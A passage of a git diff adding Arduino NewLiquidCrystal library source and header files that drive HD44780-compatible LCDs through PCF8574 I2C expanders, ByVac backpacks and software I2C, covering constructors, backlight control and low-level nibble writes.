_rs_pin; // LOW: command. HIGH: character. + uint8_t _rw_pin; // LOW: write to LCD. HIGH: read from LCD. + uint8_t _enable_pin; // activated by a HIGH pulse. + uint8_t _data_pins[8]; // Data pins. + uint8_t _backlightPin; // Pin associated to control the LCD backlight +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp b/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..8f1ce77 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C.cpp @@ -0,0 +1,291 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "I2CIO.h" +#include "LiquidCrystal_I2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C::LiquidCrystal_I2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_I2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_I2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C.h b/libraries/NewliquidCrystal/LiquidCrystal_I2C.h new file mode 100644 index 0000000..ea6d87f --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C.h @@ -0,0 +1,204 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_h +#define LiquidCrystal_I2C_h +#include +#include + +#include "I2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_I2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_I2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + */ + LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + // Constructor with backlight control + LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, + uint8_t backlighPin, t_backlighPol pol); + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + /*! + @function + @abstract Sets the pin to control the backlight. + @discussion Sets the pin in the device to control the backlight. This device + doesn't support dimming backlight capability. + + @param 0: backlight off, 1..255: backlight on. + */ + void setBacklightPin ( uint8_t value, t_backlighPol pol ); + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + @param En[in] LCD En (Enable) pin connected to the IO extender module + @param Rw[in] LCD Rw (Read/write) pin connected to the IO extender module + @param Rs[in] LCD Rs (Reset) pin connected to the IO extender module + @param d4[in] LCD data 0 pin map on IO extender module + @param d5[in] LCD data 1 pin map on IO extender module + @param d6[in] LCD data 2 pin map on IO extender module + @param d7[in] LCD data 3 pin map on IO extender module + */ + void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ); + + /*! + @method + @abstract Writes an 4 bit value to the LCD. + @discussion Writes 4 bits (the least significant) to the LCD control data lines. + @param value[in] Value to write to the LCD + @param more[in] Value to distinguish between command and data. + COMMAND == command, DATA == data. + */ + void write4bits(uint8_t value, uint8_t mode); + + /*! + @method + @abstract Pulse the LCD enable line (En). + @discussion Sends a pulse of 1 uS to the Enable pin to execute an command + or write operation. + */ + void pulseEnable(uint8_t); + + + uint8_t _Addr; // I2C Address of the IO expander + uint8_t _backlightPinMask; // Backlight IO pin mask + uint8_t _backlightStsMask; // Backlight status mask + I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO + uint8_t _En; // LCD expander word for enable pin + uint8_t _Rw; // LCD expander word for R/W pin + uint8_t _Rs; // LCD expander word for Register Select pin + uint8_t _data_pins[4]; // LCD data lines + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp new file mode 100644 index 0000000..69dd9e7 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp @@ -0,0 +1,105 @@ +// --------------------------------------------------------------------------- +// Created by GHPS on 5/06/2012. +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C_ByVac.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpack BV4218 from ByVac. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @author GHPS - ghps@users.sourceforge.net +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "LiquidCrystal_I2C_ByVac.h" + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac( uint8_t lcd_Addr ) +{ + _Addr = lcd_Addr; + _polarity == NEGATIVE; +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_I2C_ByVac::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + Wire.begin(); + LCD::begin ( cols, lines, dotsize ); +} + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the integrated backlight off/on + +// setBacklight +void LiquidCrystal_I2C_ByVac::setBacklight( uint8_t value ) +{ + Wire.beginTransmission(_Addr); + Wire.write(0x03); // ByVac command code 0x03 for backlight + if (value==0) Wire.write(1); else Wire.write((byte)0); // 1 for off since polarity is NEGATIVE + Wire.endTransmission(); +} + +// Turn the contrast off/on + +// setContrast +void LiquidCrystal_I2C_ByVac::setContrast( uint8_t value ) +{ + Wire.beginTransmission(_Addr); + Wire.write(0x05); // ByVac command code 0x05 for contrast + if (value==0) Wire.write((byte)0); else Wire.write(1); + Wire.endTransmission(); +} + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_I2C_ByVac::init() +{ + int status = 0; + + // ByVac backpack initialized by onboard firmware + // ------------------------------------------------------------------------ + status=1; + return ( status ); +} + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_I2C_ByVac::send(uint8_t value, uint8_t mode) +{ + Wire.beginTransmission(_Addr); + Wire.write(mode+1); // map COMMAND (0) -> ByVac command code 0x01/ DATA (1) -> ByVac command code 0x02 + Wire.write(value); + Wire.endTransmission(); +} diff --git a/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h new file mode 100644 index 0000000..f572633 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h @@ -0,0 +1,126 @@ +// --------------------------------------------------------------------------- +// Created by GHPS on 5/06/2012. +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C_ByVac.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpack BV4218 from ByVac. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// @author GHPS - ghps-et-users-sourceforge-net +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_I2C_ByVac_h +#define LiquidCrystal_I2C_ByVac_h +#include +#include + +#include <../Wire/Wire.h> +#include "LCD.h" + + +class LiquidCrystal_I2C_ByVac : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands (to be implemented). + */ + LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr); + + /*! + @function + @abstract LCD initialization and associated HW. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class or parent class. + + The begin method can be overloaded if necessary to initialize any HW that + is implemented by a library and can't be done during construction, here + we use the Wire class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] size of the characters of the LCD: LCD_5x8DOTS or + LCD_5x10DOTS. + */ + virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS); + + /*! + @function + @abstract Send a particular value to the LCD. + @discussion Sends a particular value to the LCD for writing to the LCD or + as an LCD command. + + Users should never call this method. + + @param value[in] Value to send to the LCD. + @param mode[in] DATA - write to the LCD CGRAM, COMMAND - write a + command to the LCD. + */ + virtual void send(uint8_t value, uint8_t mode); + + + /*! + @function + @abstract Switch-on/off the LCD backlight. + @discussion Switch-on/off the LCD backlight. + + @param value: backlight mode (HIGH|LOW) + */ + void setBacklight ( uint8_t value ); + + /*! + @function + @abstract Switch-on/off the LCD contrast. + @discussion Switch-on/off the LCD contrast. + + + @param value: contrast mode (HIGH|LOW) + */ + void setContrast ( uint8_t value ); + +private: + + /*! + @method + @abstract Initializes the LCD class + @discussion Initializes the LCD class and IO expansion module. + */ + int init(); + + /*! + @function + @abstract Initialises class private variables + @discussion This is the class single point for initialising private variables. + + @param lcd_Addr[in] I2C address of the IO expansion module. For BV4218, + the address can be configured using the address commands. + */ + + uint8_t _Addr; // I2C Address of the IO expander + +}; + +#endif diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp new file mode 100644 index 0000000..d84ae22 --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.cpp @@ -0,0 +1,294 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_SI2C.c +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board and software I2C. +// It will use digital pins 6 and 7 for SCL and SDA, but it can be changed +// in SI2CIO.cpp to use other pins if needed. +// +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#if (ARDUINO < 100) +#include +#else +#include +#endif +#include +#include "SI2CIO.h" +#include "LiquidCrystal_SI2C.h" + +// CONSTANT definitions +// --------------------------------------------------------------------------- + +// flags for backlight control +/*! + @defined + @abstract LCD_NOBACKLIGHT + @discussion NO BACKLIGHT MASK + */ +#define LCD_NOBACKLIGHT 0x00 + +/*! + @defined + @abstract LCD_BACKLIGHT + @discussion BACKLIGHT MASK used when backlight is on + */ +#define LCD_BACKLIGHT 0xFF + + +// Default library configuration parameters used by class constructor with +// only the I2C address field. +// --------------------------------------------------------------------------- +/*! + @defined + @abstract Enable bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Enable + */ +#define EN 6 // Enable bit + +/*! + @defined + @abstract Read/Write bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Rw pin + */ +#define RW 5 // Read/Write bit + +/*! + @defined + @abstract Register bit of the LCD + @discussion Defines the IO of the expander connected to the LCD Register select pin + */ +#define RS 4 // Register select bit + +/*! + @defined + @abstract LCD dataline allocation this library only supports 4 bit LCD control + mode. + @discussion D4, D5, D6, D7 LCD data lines pin mapping of the extender module + */ +#define D4 0 +#define D5 1 +#define D6 2 +#define D7 3 + + +// CONSTRUCTORS +// --------------------------------------------------------------------------- +LiquidCrystal_SI2C::LiquidCrystal_SI2C( uint8_t lcd_Addr ) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); +} + + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, EN, RW, RS, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t backlighPin, + t_backlighPol pol = POSITIVE) +{ + config(lcd_Addr, En, Rw, Rs, D4, D5, D6, D7); + setBacklightPin(backlighPin, pol); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7 ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); +} + +LiquidCrystal_SI2C::LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, + uint8_t Rs, uint8_t d4, uint8_t d5, + uint8_t d6, uint8_t d7, uint8_t backlighPin, + t_backlighPol pol = POSITIVE ) +{ + config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7); + setBacklightPin(backlighPin, pol); +} + +// PUBLIC METHODS +// --------------------------------------------------------------------------- + +// +// begin +void LiquidCrystal_SI2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) +{ + + init(); // Initialise the I2C expander interface + LCD::begin ( cols, lines, dotsize ); +} + + +// User commands - users can expand this section +//---------------------------------------------------------------------------- +// Turn the (optional) backlight off/on + +// +// setBacklightPin +void LiquidCrystal_SI2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE ) +{ + _backlightPinMask = ( 1 << value ); + _polarity = pol; + setBacklight(BACKLIGHT_OFF); +} + +// +// setBacklight +void LiquidCrystal_SI2C::setBacklight( uint8_t value ) +{ + // Check if backlight is available + // ---------------------------------------------------- + if ( _backlightPinMask != 0x0 ) + { + // Check for polarity to configure mask accordingly + // ---------------------------------------------------------- + if (((_polarity == POSITIVE) && (value > 0)) || + ((_polarity == NEGATIVE ) && ( value == 0 ))) + { + _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT; + } + else + { + _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT; + } + _i2cio.write( _backlightStsMask ); + } +} + + +// PRIVATE METHODS +// --------------------------------------------------------------------------- + +// +// init +int LiquidCrystal_SI2C::init() +{ + int status = 0; + + // initialize the backpack IO expander + // and display functions. + // ------------------------------------------------------------------------ + if ( _i2cio.begin ( _Addr ) == 1 ) + { + _i2cio.portMode ( OUTPUT ); // Set the entire IO extender to OUTPUT + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + status = 1; + _i2cio.write(0); // Set the entire port to LOW + } + return ( status ); +} + +// +// config +void LiquidCrystal_SI2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, + uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 ) +{ + _Addr = lcd_Addr; + + _backlightPinMask = 0; + _backlightStsMask = LCD_NOBACKLIGHT; + _polarity = POSITIVE; + + _En = ( 1 << En ); + _Rw = ( 1 << Rw ); + _Rs = ( 1 << Rs ); + + // Initialise pin mapping + _data_pins[0] = ( 1 << d4 ); + _data_pins[1] = ( 1 << d5 ); + _data_pins[2] = ( 1 << d6 ); + _data_pins[3] = ( 1 << d7 ); +} + + + +// low level data pushing commands +//---------------------------------------------------------------------------- + +// +// send - write either command or data +void LiquidCrystal_SI2C::send(uint8_t value, uint8_t mode) +{ + // No need to use the delay routines since the time taken to write takes + // longer that what is needed both for toggling and enable pin an to execute + // the command. + + if ( mode == FOUR_BITS ) + { + write4bits( (value & 0x0F), COMMAND ); + } + else + { + write4bits( (value >> 4), mode ); + write4bits( (value & 0x0F), mode); + } +} + +// +// write4bits +void LiquidCrystal_SI2C::write4bits ( uint8_t value, uint8_t mode ) +{ + uint8_t pinMapValue = 0; + + // Map the value to LCD pin mapping + // -------------------------------- + for ( uint8_t i = 0; i < 4; i++ ) + { + if ( ( value & 0x1 ) == 1 ) + { + pinMapValue |= _data_pins[i]; + } + value = ( value >> 1 ); + } + + // Is it a command or data + // ----------------------- + if ( mode == DATA ) + { + mode = _Rs; + } + + pinMapValue |= mode | _backlightStsMask; + pulseEnable ( pinMapValue ); +} + +// +// pulseEnable +void LiquidCrystal_SI2C::pulseEnable (uint8_t data) +{ + _i2cio.write (data | _En); // En HIGH + _i2cio.write (data & ~_En); // En LOW +} \ No newline at end of file diff --git a/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h new file mode 100644 index 0000000..a8547be --- /dev/null +++ b/libraries/NewliquidCrystal/LiquidCrystal_SI2C.h @@ -0,0 +1,207 @@ +// --------------------------------------------------------------------------- +// Created by Francisco Malpartida on 20/08/11. +// Copyright 2011 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// +// Thread Safe: No +// Extendable: Yes +// +// @file LiquidCrystal_I2C.h +// This file implements a basic liquid crystal library that comes as standard +// in the Arduino SDK but using an I2C IO extension board and software I2C. +// It will use digital pins 6 and 7 for SCL and SDA, but it can be changed +// in SI2CIO.cpp to use other pins if needed. + +// @brief +// This is a basic implementation of the LiquidCrystal library of the +// Arduino SDK. The original library has been reworked in such a way that +// this class implements the all methods to command an LCD based +// on the Hitachi HD44780 and compatible chipsets using I2C extension +// backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC. +// +// The functionality provided by this class and its base class is identical +// to the original functionality of the Arduino LiquidCrystal library. +// +// +// @author F. Malpartida - fmalpartida@gmail.com +// Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com +// --------------------------------------------------------------------------- +#ifndef LiquidCrystal_SI2C_h +#define LiquidCrystal_SI2C_h +#include +#include + +#include "SI2CIO.h" +#include "LCD.h" + + +class LiquidCrystal_SI2C : public LCD +{ +public: + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the LCD. + + @param lcd_Addr[in] I2C address of the IO expansion module. For I2CLCDextraIO, + the address can be configured using the on board jumpers. + */ + LiquidCrystal_SI2C (uint8_t lcd_Addr); + // Constructor with backlight control + LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol); + + /*! + @method + @abstract Class constructor. + @discussion Initializes class variables and defines the I2C address of the + LCD. The constructor does not initialize the 